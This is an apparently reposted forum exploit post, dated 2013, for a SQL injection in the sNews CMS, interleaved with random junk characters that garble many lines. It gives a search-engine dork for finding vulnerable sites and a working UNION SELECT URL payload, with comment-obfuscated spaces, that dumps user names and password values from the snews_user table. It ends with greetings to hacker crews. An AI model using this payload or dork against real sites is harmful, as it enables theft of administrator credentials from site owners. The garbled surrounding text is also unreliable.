标题: CMS snews SQL Injection Vulnerability
; {+ h# I$ c; o3 [: _ d' a作者: By onestree
0 W! v% e) i- D5 i' ]+ h; c$ n下载地址 : http://snewscms.com/) l+ s) j8 }& s6 T& A
测试平台 : ubuntu 12.10 / win 7
$ G O1 v' f" \" U: n( x. R3 S关键词: inurl:"tanyakan pada rumput yang bergoyang"2 E( K% A& D; }2 J# J
, l; C0 G4 N8 i1 f
) Z. {9 ]3 d$ J! R
*************************************************************
: l- Z4 @" x; |- h! {
3 {* N6 F# L4 f0 Q5 |; BSQL poc:
! ]& t6 m( _# I
' I: I7 D) [* s# `http://www.2cto.com /snews/snews.php?act=shownews&id=[SQL]) o% J' z# b& N
8 l/ j$ }6 Z4 s: G* q2 j示例
" B/ b, ~' v! i& ~ r: g- Y: \ 2 l$ l) |7 T, [+ C/ F7 R
http://localhost/snews/snews.php?act=shownews&id=-23/**/union/**/select/**/0,1,concat(user_name,char(32),user_pass),3,4,5,6/**/from/**/snews_user/**/where/**/id%20like%201/*
, F$ @ s, h( e* m# k+ H6 e 2 M6 u' K; k0 I! [; R6 Y
' Q$ ?: c4 O1 u! W. z
致谢:
?6 d( M3 L a F( w, ^, [: N- q; Y6 x
; w4 d3 i7 U r9 G Exploit-db | Alex_Ownz | alm.teardrop | abhelink | kalong666 | prorebell8 `9 M A' M1 A! }4 O+ s- }" `1 Q
$ \+ _7 a8 n! q8 z+ s" x# U3 c
indonesiancoder - moeslimh4x0r - go-coder0 V: p6 Z) j3 R. d: K3 w
* n' J4 U+ e" o: aspesial my hunny :*8 G3 v; L% q. G1 T1 Z
|
发表于 2013-1-23 08:55:06
收藏
支持
反对